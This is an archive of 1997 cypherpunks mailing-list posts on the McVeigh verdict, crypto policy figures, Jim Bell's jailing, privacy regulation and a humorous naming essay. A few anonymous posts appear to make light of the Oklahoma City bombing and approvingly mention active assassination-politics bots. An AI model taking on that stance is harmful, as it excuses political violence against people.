   at 08:41 PM, Hallam-Baker <hallam@ai.mit.edu> said:

>Anonymous wrote:
>> 
>> On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
>> > Timothy McVeigh was found guilty on all counts today.  I am not
>> > surprised.  People will believe anything the govt. says, and besides,
>> > the governments lawyers were obviously more expensive than McVeigh's.
>> > This is a sad day for all anti-government haters.
>> 
>> Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim
>> of the OKC bomber.

>I'm surprised at the concern. After all I've not noticed militia
>supporters and appologists speaking out against the death penalty.

>If one is driving away from the scene of the biggest single terrorist
>incident on US soil one is probably well advised to both have  license
>plates on the car and not be carrying unlicensed firearms. If one is
>arrested its probably not advisable to counter interrogation by refusing
>to give more than name rank and serial number, a request to see a lawyer
>is probably a more sensible choice.

>The one problem I have with the trial is the leaking of the
>defense notes. I suspect that they are genuine and that McVeigh  really
>did confess. In the UK publication would be barred for the duration of
>the trial and heavy jail sentences imposed since the right to a fair
>trial is considered a reasonable justification for a temporary bar on the
>right to free speech. However I would not argue that the trial be halted
>as a result since one 
>possible explanation is that the defense saw that there was no  chance of
>aquital and gambled on gaining a mistrial. 

>$10 million for 5 days of defense evidence tends to suggest that  there
>was not much evidence to show. 


>Appologists for McVeigh should consider that his actions did not  advance
>the militia cause an iota, it destroyed it and along with  it much of the
>right wing fringe. It forced Rush Limbaugh off  television and many right
>wing hosts off radio. The sympathy shown for the bomber's motives made
>the country aware that it did not share the anti-government sentiment.
>Clinton's poll  recovery dates precisely from the moment of the Oaklahoma

>bomb. If you read the propaganda being generated durning the budget
>impasse its pretty ovbvious that Clinton was successful in portraying
>Newt as a legislative version of McVeigh, Newt had of course alligned
>himself with the most extreme of the  talk show hosts Liddy and Limbaugh
>when he became speaker. 

>McVeigh ripped the heart out of the militia movement, he demonstrated
>what it was really about. Ironically the Oaklahoma bombing may have had
>precisely the effect McVeigh desired but in a very different  sense. It
>was a wake up call to defend the country from fascism  but the fascist
>threat was McVeigh and the millitia movement.


>The millitia movement have only two possible scripts at this point and
>one might well be denied them. They can either admit the nature of their
>cause and claim McVeigh as a martyr, this probably guarantees them
>extinction but then again Hitler  recovered from the beer hall putsch.
>Alternatively they can  loudly claim that McVeigh was "framed" in the
>same way that other neo-NAZIs on the net claim the holocaust a fake, i.e.
>so that nobody really believes it. I suspect that this script will be
>denied them because it would require McVeigh to go to the execution
>chamber proclaiming his innocence and this is something he has curiously
>failed to do so far. I'm not
>a trained psychologist but my experience in this area suggests that a
>claim of responsibility and publication of some 
>document that serves as a political manifesto is very likely. It an ego
>thing...


That's right Phil you can sleep better now that all the evil millitia have
been distroyed. I'm sure you woun't mind when the Constitution is gone
too. Nothing to worry about after all you have Bill Clinton and his
buddies to make sure your safe. They said they would and they would never
lie.

I'm sure if you were in Germany during the 30's that you would have
thought the "Jewish Solution" was a good thing after all the government
said it was. Or perhaps you would have felt more comfortable in Russia at
the same time when Stalin was trying to outdo Hitler in mass murders.
After all it was the government doing the murders so it must be ok. They
said it was and they wouldn't lie would they?

That's ok Phil 1 little white boy will fry in the electric chair. But just
maybe your children will never have to know what it's like to live under a
Hitler or a Stalin because there are some in this country who are willing
to standup to the STATEST in DC who if given the chance will enslave us
all.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 3 Jun 1997 12:37:16 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: From Inter@ctive Week: Denning no longer backing key escrow?
In-Reply-To: <199706030134.VAA19660@homeport.org>
Message-ID: <199706030417.XAA26059@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199706030134.VAA19660@homeport.org>, on 06/02/97 
   at 08:34 PM, Adam Shostack <adam@homeport.org> said:

>I think that this is an inappropriate attack, really.  Dorothy is not an
>idiot, and I don't think her opinions are for sale.   She fell in with a
>bad crowd that sold her a bill of goods.  She's getting over it.


>Sheesh.

Sheesh is right!!

Dorothy is a boot licking government toad, period. Whatever reputation
capital she may have aquired as a cryptologist she burned up with her
continued support of the numerous darconian plans of the government.

I am really amazed that anyone pays any attention on what she has to say
as I doubt that she is capable of adding anything of importance regardless
of who is paying her to say it.


>| Will Rodger wrote:
>| > Here's an interesting question:
>| > What happens when your star technical witness tells others she's no longer
>| > your witness at all?
>| 
>| > Denning now says she has doubts...
>| > "Maybe export controls should be lifted," Denning said. "But I'm not saying
>| > that all controls should be lifted. I've gotten into a state where I don't
>| > know and I'm not sure that I ever knew."
>| 
>|   Translation: Denning is waiting for the check from Sun Microsystems
>| to clear before she finally makes up her mind.
>| 
>| TruthMonger
>| 




- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 14:53:07 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <33934A8F.6114@popmail.firn.edu>
Message-ID: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote:
>Appologists for McVeigh should consider that his actions did not 
>advance the militia cause an iota, it destroyed it and along with 
>it much of the right wing fringe.

"Follow the money" is usually sound advice. More general, ask "who
benefits". Clearly, the constitutional militias and civil libertarians are
the losers of the Oklahoma bombing. The sole benefactors are the statists
and numerous government agencies.

'Nuff said,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 14:43:09 +0800
To: Declan McCullagh <gbroiles@netbox.com>
Subject: Re: Jim Bell defense fund
In-Reply-To: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net>
Message-ID: <3.0.2.32.19970602233152.03a7d634@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:19 AM 6/3/97 -0400, Declan McCullagh wrote:
>
>
>On Sun, 1 Jun 1997, Greg Broiles wrote:
>
>> 
>> Has anyone talked to Jim to find out what he wants? I wouldn't be surprised
>
>Jim isn't easily reachable by phone at the moment.

Can he be visited? Perhaps there is a CP near him that could go and ask?


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 3 Jun 1997 12:48:39 +0800
To: declan@well.com
Subject: Re: Jim Bell defense fund
In-Reply-To: <Pine.GSO.3.95.970603001829.8051B-100000@cp.pathfinder.com>
Message-ID: <199706030435.XAA04743@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh wrote:
> On Sun, 1 Jun 1997, Greg Broiles wrote:
> > Is he currently represented by a court-appointed attorney? Are they working
> > out of the federal public defender's office, or are they in private
> 
> Yes. He is being represented by a Federal public defender, who indicated
> to me he would appreciate whatever help the cypherpunks could provide.

Declan, it would be great if you could find out how exactly we can help
jim bell, for instance where can we send $$.

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 14:50:02 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: May's Banal Rant
In-Reply-To: <v03102803afb8bf72b35a@[207.167.93.63]>
Message-ID: <3.0.2.32.19970602233822.03a70774@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:06 PM 6/2/97 -0500, Marc Rotenberg wrote:

>Like I said, Tim May et al are behind the
>curve. You guys preach cyber anarchy but
>you're really armchair activists.

Methinks Marc has no idea what many of us do in their day jobs, much less
what we do in our spare time.

But who cares. All that matters is that we get more tools out faster. On
that note...back to work.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 3 Jun 1997 12:33:49 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell defense fund
In-Reply-To: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net>
Message-ID: <Pine.GSO.3.95.970603001829.8051B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 1 Jun 1997, Greg Broiles wrote:

> 
> Has anyone talked to Jim to find out what he wants? I wouldn't be surprised

Jim isn't easily reachable by phone at the moment.

> Is he currently represented by a court-appointed attorney? Are they working
> out of the federal public defender's office, or are they in private

Yes. He is being represented by a Federal public defender, who indicated
to me he would appreciate whatever help the cypherpunks could provide.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 3 Jun 1997 06:54:46 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <33934A8F.6114@popmail.firn.edu>
Message-ID: <199706022240.AAA16234@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, Jun 02, 1997 at 05:34:55PM -0500, bennett_t1@popmail.firn.edu wrote:
> Timothy McVeigh was found guilty on all counts today.  I am not
> surprised.  People will believe anything the govt. says, and besides,
> the governments lawyers were obviously more expensive than McVeigh's. 
> This is a sad day for all anti-government haters.

Yes, poor Tim Mcveigh.  If he's innocent then he is one more victim 
of the OKC bomber.

Tim May: "broken eggs and all that"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 3 Jun 1997 16:15:37 +0800
To: Lucky Green <declan@pathfinder.com>
Subject: Re: Jim Bell defense fund
In-Reply-To: <Pine.GSO.3.95.970603001829.8051B-100000@cp.pathfinder.com>
Message-ID: <3.0.2.32.19970603010058.007cf100@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>>> Has anyone talked to Jim to find out what he wants?
>>Jim isn't easily reachable by phone at the moment.
>
>Can he be visited? Perhaps there is a CP near him that could go and ask?

He likely has access to a pay phone; if so, he can probably make collect
calls, and maybe calling-card calls. The easiest way to talk to him on the
phone will be to send him a letter, telling him your phone number, and
telling him that you'll accept the charges if he calls you collect. The
phone call will be expensive - many jails set up sweetheart deals with
sleazy long-distance companies to handle all outgoing long-distance calls.
Since the prisoners can only call collect, and only with the one phone
company, if you want to talk to them, you pay the rate charged. :(

It's probably possible to visit him in person, although there's a good
chance it'll be via a (monitored) closed-circuit phone and plexiglass
screen. Most jails limit "contact" visits to attorneys. Likewise, anything
that's mailed to him will be opened, read, and inspected before he sees it,
unless it's from his attorney. Metal things (like staples and paper clips)
will be removed. It's probably possible to send a small amount of money (<
$20, or so) to the jail where he's held to be placed in his trust account,
which he'll be able to use to buy stamps, stationary, cigarettes (does he
smoke?), toiletries or maybe food from the commissary. It's also sometimes
possible/necessary to provide him with a change of clothes, if/when this
gets to a jury trial. Most jails won't let you mail books to prisoners, but
will accept books (sometimes only softcover) if they're mailed directly
from publishers. 

If he's got an attorney from the federal PD's office, he doesn't need money
for his defense - it won't help, and might just screw things up. I don't
think the PD's office would even accept it.

The best thing to do is find out where he's being held (seems like the
early report(s) said he was in a county jail in Tacoma? - sometimes county
jails hold prisoners on federal charges, and bill the feds for it) and call
there and ask what you can do, how you can write to him, if you can send
him stuff, what the visiting hours are, etc.

If someone does talk/write to him, you should remember that there's a
strong possibility that your communication(s) will be monitored/recorded,
and that anything he says/writes may be admissible against him at trial. 

Welcome to America. This is what we do to people before they even get a
trial. 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 3 Jun 1997 14:17:56 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706030603.CAA22498@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker, realizing he is a soft target, wrote:

> Appologists for McVeigh should consider that his actions did not
> advance the militia cause an iota, it destroyed it and along with
> it much of the right wing fringe.

  Or perhaps just sent more people underground.
  Many remarked that the Jim Bell arrest chilled the free speech
of many list members but there are now at least two active AP Bots
on the internet.
  I haven't noticed anybody "apologizing" for McVeigh or Bell.
There are merely those who act or who don't act.

  <The rest of Phill's post is just his usual knee-jerk, elitist
slander of those he politically opposes, and not worth commenting
on.>

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Igor Chudov <ichudov@galaxy.galstar.com>
Date: Tue, 3 Jun 1997 15:23:01 +0800
To: cypherpunks@Algebra.COM
Subject: test1
Message-ID: <199706030712.CAA29408@galaxy.galstar.com>
MIME-Version: 1.0
Content-Type: text/plain



hello





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 3 Jun 1997 17:52:27 +0800
To: cypherpunks@Algebra.COM
Subject: [Noise] Internet makes niche markets possible
Message-ID: <3.0.2.32.19970603024814.006e7e2c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



[The following post has zero crypto relevance.]

We all have heard much rhetoric concerning the Internet enabling the
creation of niche markets. Markets that wouldn't exist otherwise, since
potential sellers would not be able to reach a sufficient number of
potential buyers to make production of a good profitable.

But how many instances such newly created markets are you aware of? Well, I
discovered a rather sweet example.

You really like M&M's. You know: the round chocolate candy that melt in
your mouth, not in your hand. The only problem is, you don't like the
standard colors. You would much rather have all blue M&M's or, better yet,
a bag containing only teal and light pink. Since the market for teal or
light pink M&M's is marginal, the maker of M&M's does not include these
colors in the bags one can purchase at nearest corner store. What to do?

Voilà, the Internet to the rescue. Mars, the worldwide candy powerhouse and
manufacturer of M&M's, decided to tap this newly possible business
opportunity by offering custom colored M&M's through their webpage at
http://www.m-ms.com/

A Shockwave applet allows you to combine your favorite colors and order the
candy mix of your choice. Finally, teal M&M's are yours to indulge.

Enjoy,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 3 Jun 1997 21:11:37 +0800
To: Lee Tien <tien@well.com>
Subject: Re: Rotenberg or Berman?  (was  Re: e$: Beltway piglets and other barnyard animals)
In-Reply-To: <v03007805afb8066bc310@[163.176.132.90]>
Message-ID: <Pine.GSO.3.95.970603084314.16342A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



This is a crucial point. Rotenberg != Berman.

As much as I like individuals at CDT, I disagree fairly often with the
organization's position. CDT supported the so-called "compromise" that
would have replaced the CDA's indecency provision with a ban on material
that's "harmful to minors." They've done the wrong thing on Digital
Telephony in many cases -- helping phone companies suck in $$$ to make
their systems wiretappable more than helping civil liberties -- and
continue to do so. They're now silent (read the latest CDT post) on the
many problems with SAFE. 

Then again, CDT may not be good on individual rights in the examples above
but they don't support Rotenbergesque privacy regulations either. Again:
issue-by-issue alliances.

-Declan


On Sun, 1 Jun 1997, Lee Tien wrote:
> Marc Rotenberg never led EFF; he led CPSR-Washington which became EPIC.
> 
> Bob may be thinking of Jerry Berman, who ran EFF for a few years, was
> involved in its actions re Digital Telephony, and then left to start up
> CDT.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Tue, 3 Jun 1997 21:55:58 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller )
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <v0300781bafb9d67eb5c2@[204.91.138.31]>
MIME-Version: 1.0
Content-Type: text/plain



>>I'd also appreciate some comment/criticism on
>>the piece I did for Wired.
>
>Could you post the URL, please, in case it is available on the web?
>
>Thanks,
>
> UM

http://wwww.wired.com/wired/4.05/idees.fortes/eurocrats.html

Eurocrats Do Good Privacy

Marc Rotenberg



       Late last November, David Chaum received the Information Technology
European Award for 1995. The prize, given
       for DigiCash's ecash technology, consisted of a trophy plus 200,000
ecu (approximately US$250,000). Chaum is best
       known for the development of anonymous payment schemes that are
becoming increasingly popular in Europe for
       everything from online commerce to highway toll systems.

       At about the same time that Chaum received the prestigious award,
Phil Zimmermann, inventor of the popular Pretty
       Good Privacy encryption program, sat in his Boulder, Colorado, home
wondering whether the US government would
       make good on its threat to prosecute him for trafficking in
munitions. Although federal prosecutors announced recently
       that they will drop the case against Zimmermann, the prospects that
he will get a big cash award from the US
       government anytime soon are less than slim.

       The contrast between a decorated cryptographer in Europe and one
trying to avoid prosecution in the United States is
       more than curious. It shows that governments, at least some
governments, can be a force for progress in the crypto
       world.

       Reread that sentence. It is not conventional wisdom in the United
States. Cyberlibertarians have been unrelenting in
       their opposition to any federal role in crypto policy. Free
marketers argue simply that there is no place for government
       in the development of high-tech products. Cyberanarchists seem to
doubt whether there is any role at all for
       government.

       Of course, the Clipper debacle provides plenty of ammunition for
these arguments. Clipper combined in equal measure
       government arrogance, technological incompetence, and profound
disregard for the rights of citizens. As an exercise in
       public policy, it ranks somewhere between the Bay of Pigs and the
CIA's experiments with psychics.

       But the recent European experience should give pause to these allies
in the battle for online privacy. Not only are
       European officials at the highest levels prepared to embrace
technologies of privacy, they have almost uniformly
       opposed US-inspired surveillance schemes such as Clipper.

       Two recent reports are indicative. In "Privacy-Enhancing
Technologies: The Path to Anonymity," the Netherlands and
       the Canadian province of Ontario call for an exploration of new
technologies to promote privacy. Similarly, Anitha
       Bondestam, director general of the Data Inspection Board of Sweden,
writes in a recent report, "It is more important
       than ever to bring back anonymity and make more room for personal
space." She urges her colleagues to sharply limit
       the collection of personal data.

       This is bold stuff coming from government officials. Put on the
privacy spectrum in the United States, these statements
       are far closer to the position of many cypherpunks than to that of
any officials currently developing privacy policy.

       In the United States, to the extent that the federal government has
said anything about anonymity, the script is written
       by the Treasury Department's Financial Crimes Enforcement Network,
which is charged with investigating money
       laundering. Not surprisingly, FinCEN warns that electronic cash will
usher in a new era of criminal activity.

       It doesn't have to be this way. The reality of modern society is
that government officials make decisions every day
       about the rights of citizens. The question is whether they favor
proposals that respect privacy and personal dignity or
       not. Compared with governments that lack privacy officials,
governments that have privacy officials have repeatedly
       weighed in favor of privacy interests.

       Viewed against this background, many of the European privacy
regulations, often criticized by libertarians, should be
       seen for what they are - sensible responses of governments that
value their citizens' privacy rights. In such societies,
       technical means to protect privacy will be adopted - not viewed with
skepticism.

       Is the European system perfect? Of course not. Are the Europeans
doing a better job than Americans of promoting the
       technologies of privacy? Just ask David Chaum and Phil Zimmermann.

       -Marc Rotenberg is director of the Electronic Privacy Information
Center (www.epic.org/).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 4 Jun 1997 01:15:40 +0800
To: cypherpunks@Algebra.COM
Subject: Cryptographic Mythology (fwd)
Message-ID: <Pine.GSO.3.96.970603094056.14344F-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



I found this on the firewalls mailing list.  It needed to find its way
here...

alano@teleport.com | "That will make it hot for them" - Guy Grand

---------- Forwarded message ----------
Date: Wed, 4 Jun 1997 02:03:43 +1000 (EST)
From: proff@suburbia.net
To: firewalls@greatcircle.com
Subject: Cryptographic Mythology


Here is something to amuse, delight and horrify - the tail of:

       _One Man's Search for a Cryptographic Mythology_.

I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now
the day dawned when I decided it was high time to discard my rather
egocentric working name _Proffs_ (i.e Proff File System) and cast
about for a decent, respectable name. My first thought on this
matter was:

CERBERUS, n. The watch-dog of Hades, whose duty it was to guard
   the entrance -- against whom or what does not
   clearly appear; everybody, sooner or later, had to go there,
   and nobody wanted to carry off the entrance. Cerberus is known
   to have had three heads, and some of the poets have credited
   him with as many as a hundred.

Only, what was the relation between KERBEROS and CERBERUS? Pups
from the same litter, or was the relationship a little more
incestuous? I had to find out. There was no way - n o  w a y - I'd be
having my encrypted file system playing second fiddle to that evil
authentication beast.

KERBEROS; also spelled Cerberus.  n.  The watch dog of
   Hades, whose duty it was to guard the entrance--against
   whom or what does not clearly appear; . . . it is known
   to have had three heads. . .

Mythology couldn't get any more incestuous than that.

450,000 bytes of Greek polytheism later, and I'm wondering if the
Gods of Olympus really had any high-paid guards to speak of except
the multi-headed mongrel from Hades. I'm feeling down. I'm cursing
the Ancients. I'm disrespectfully humming tunes `All and All it's
Just Another Greek in the Wall', and `Athena be my Lover' when I
discover:

JANUS: in Roman mythology, custodian of the universe, god of
   beginnings. The guardian of gates and doors, he held
   sacred the first hour of the day, first day of the month, and
   first month of the year (which bears his name). He is represented
   with two bearded faces set back to back.

Custodian of the universe. Guardian of gates and doors. Cooool.
Janus.  January. I like it.  Only while I'm liking it, I'm thinking
that I've heard the word Janus a lot before. I'm thinking it isn't
just me who has looked up from the middle of a Greek mythology
text, whilst in the throes of a name hunt with the words "Cooool"
on their tongue.  No: the Gods just don't smile on me that way.
AltaVista confirms the truth of Heaven's bad attitude towards me.
17,423 references.  _The Janus Mutual Trade Fund_, _The Janus
Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH
these Canadians?), _Janus' cool word list_ (turns out to be not so
cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_,
_janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama
series and of course, the sixth moon of Saturn - _Janus_. Janus is
out-of-the-picture. I'm not sure whether to feel smug or grim about
the rest of the world's lack of originality.

Guards. Guardians. The Greeks didn't have many with bite and I'm
loosing patience with the whole culture. Euphrosyne, Aglaia, and
Thalia do not grace me.  What I need is something that evokes
passion within my cryptographic domain. And when you come down to
it, that means something which produces copious amounts of gore
and blood, at will, from those who would dare to pass its demesne
of protection.

     The Erinyes, or Furies, were three goddesses who punished by
     their secret stings the crimes of those who escaped or defied
     public justice. The heads of the Furies were wreathed with
     serpents, and their whole appearance was terrific and appalling.
     Their names were Alecto, Tisiphone, and Megaera.  They were
     also called Eumenides.

Aye. Plenty of gore there. But somewhat lacking in cryptographic
analogy.  Fantastic material for the group that doesn't meet at
number 41 every Saturday night though. They will appreciate what
the Erinyes were trying to achieve.

Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads
of the Furies were wreathed with serpents, and their whole appearance
was terrific and appalling". Terrific. Serpents.

Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten
   + facere: to make. See Terror, and Fact.] Causing
   terror; adapted to excite great fear or dread; terrible; as, a
   terrific form; a terrific sight.

Is it a symptom of society in decay that this word has come to mean:

Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis,
   p. pr. of excellere. See Excel.] 1. Excelling;
   surpassing others in some good quality or the sum of qualities;
   of great worth; eminent, in a good sense; superior, as an
   excellent man, artist, citizen, husband, discourse, book, song,
   etc.; excellent breeding, principles, aims, action.

Or as Milton would say:

   To love . . . What I see excellent in good or fair.

On the other hand, David Hume (1711-1776):

   The more exquisite any good is, of which a small specimen is
   afforded us, the sharper is the evil, allied to it; and few
   exceptions are found to this uniform law of nature. The most
   sprightly wit borders on madness; the highest effusions of joy
   produce the deepest melancholy; the most ravishing pleasures
   are attended with the most cruel lassitude and disgust; the most
   flattering hopes make way for the severest disappointments. And,
   in general, no course of life has such safety (for happiness is
   not to be dreamed of) as the temperate and moderate, which
   maintains, as far as possible, a mediocrity, and a kind of
   insensibility, in every thing.

Perhaps it is the sign of a brain in decay, rather than a society
that I dwell on it so, because Terrific hair serpents of course
lead unfailing into the arms of the Medusa. A guardian of fearsome
looks, but dubious motivations according to authorities like Clash
of the Titans (1981). A moot point, perhaps as Princeton's
history department no longer wants to talk to me. I'm cast adrift,
to rely on my Plasticine childhood memories and the mythological
swamp of the web.

   NAME: Medusa
   FAVORITE PASTIME: Turning men to stone
   PLACE OF ORIGIN: Los Alamos Secret CIA Lab
   SPECIAL GIFTS: Petrified Aggregate Projectist
   FAVORITE MOVIE: Mighty Morphin' Power Rangers
   GOALS IN LIFE: To be a nice person
   FAVORITE BOOK: Madonna's biography
   PET PEEVE: Bad hair days

Jesus. I've been sucked into comic book hell. Princeton, take me
back.  I won't curse at the ancient Greek's sexual proclivities
anymore. I'm sure chaste marriages were very daunting to those yet
to have them. I was only joking. Lighten up will you?

But, alas, the history faculty however was still nursing its
wounds, and was not ready to forgive me. I'd have to find an
authoritative source somewhere else. Perhaps I could filter out the
comic book hell contaminants and come up with respected history Ivy,
even if it wasn't Princeton Ivy.

   To decapitate - to castrate. The terror of the Medusa is thus
   a terror of castration that is linked to the sight of something.
   The hair upon the Medusa's head is frequently represented in
   works of art in the form of snakes, and these once again are
   derived from the castration complex. It is a remarkable fact
   that however frightening they may be in themselves, they
   nevertheless serve as a mitigation of the horror, for they
   replace the penis, the absence of which is the cause of the
   horror. This is a confirmation of the technical rule according
   to which a multiplication of penis symbols signifies castration.

   Sigmund Freud
   The Medusa's Head

You had to hand it to Sigmund. He was nothing if not authoritative,
and after reading his inspiring words on the terrific serpent haired
woman, it became clear to me that _Proffs_ and the Gorgon had somewhat
unresolved metaphorical incompatibilities. I didn't want my software
giving anyone a castration complex.

I decided to put aside the denizens of Olympus from contest verbatim.
I'd read Fraud on Perversions a few years before and knew Medusa
was just a portent of what was to come.  What I needed was another
polytheist culture entirely.  Latin didn't help me. Nearly all the
Roman Gods had been vilely plagiarised from the Greeks, Latin names
or not.  Freud knew this as well as I did.  The Norse gods were of
little assistance to me.  The only one worth paying school to was
Loki, the Norse god of mischief. Loki was a very cool fellow, which
was why his name has been appropriated as a moniker by virtually
every Bjorn, Sven, and Bob hacker to come out of Scandinavia in
the last 10 years. No, Loki was not for me.

The problem craved for a polytheist mythology outside the realm of
my, and more importantly Sigmund Freud's, Western European upbringing.
The answer to my question was by definition locked within a body of
history I didn't know an onion skin about. In order for the pilgrim
to reach the master he must first place his foot on the path, no
matter how gradual the slope up the mountain of enlightenment. Zen
Buddhism is good like that. Fabricating parables up as you go along
that is.

   Zen master Gutei raised his finger whenever he was asked a
   question about Zen. A young novice began to imitate
   him in this way. When Gutei was told about the novice's imitation,
   he sent for him and asked him if it were true. The novice admitted
   it was so. Gutei asked him if he understood. In reply the novice
   held up his index finger. Gutei promptly cut it off.  The novice
   ran from the room, howling in pain. As he reached the threshold,
   Gutei called, "Boy!". When the novice returned, Gutei raised
   his index finger. At that instant the novice was enlightened.

But wait. This Koan isn't fabricated. At least, not by me. And
unlike most Zen Koan's I think you will agree that it pleasantly
satisfies Schopenhauer's "life, without pain, has no meaning".
However, semantically I'm seeing a very unhealthy correlation to
forgetting one's encryption key and losing one's finger.

My mind is drawn to the memory of the real-life nightmare of laying
in the easy-chair of a Swanston St. hypnotherapist suite, gazing
intently into a bright, but distant red light, while chanting the
mantra "I am not cynical about hypnotherapy. I am not cynical about
hypnotherapy.  I am not cynical about an Indian doctor with a 5th
floor office decorated coup'd'Edelstien. I'm not cynical about a
man who claims that his foremost clientele are rich middle aged women
who have put their jewellery somewhere "safe" and consequently
are unable to recall the location.  I'm not cynical about a
hypnotist who extols the virtues of having a M.D. so his patients
can claim 2/3rds of the cost of these jewellery retrieval sessions
under Medicare. I'm not cynical that these middle aged women are
infact suffering from some form of Mesmer complex.  And by all the
powers in Heaven, I have no pessimism about recalling my god-damned
pass-phrase!".

I never did remember the pass-phrase and you will notice Gutei
keeps very quiet about what he does with the novice's finger. In
this particular case, given the value of the data, I would have
traded placed with Gutei's novice, before you can say "Boy! Was I
enlightened".

I put my chin on my knee, and stare at the grain of my beige
plastic monitor case. Unless I could jump into another reality
it was the end of the line for _Proffs_ and _One Man's Search
for a Cryptographic Mythology_. Boy! Was I bummed. 

One of the great sins of us programmers is procedural thinking.
And it was exactly this sort of folly I was engaging in. There were
around 6 billion other realities going about their business. I
grant you that 2 billion of these were no doubt indulging in the
confusion and diffusion of an avalanche of pseudo-random mental
images and sequences we associate with dreams, and probably another
2 billion busy expanding their minds with the powerful products of
hash or decaying into a compressive state of increasing entropy
and beer rounds. This still left a select 2 billion souls with
which to weave my work.  If I approached them directly rather than
by analysing the information trails they left behind, I'd stand a
good chance of getting my feet onto the path of cryptographic
mythological enlightenment.

I have a Swedish friend who calls himself Elk on odd days and
Godflesh on even days. Don't ask why. As far as I know he's not
bisexual. Elk listened to my quest for cryptographic myth. He
had pondered, and uncovered a diamond in the rough. MARUTUKKU.

  The third name is MARUTUKKU, Master of the arts of protection,
  chained the Mad God at the Battle. Sealed the Ancient Ones in
  their Caves, behind the Gates.

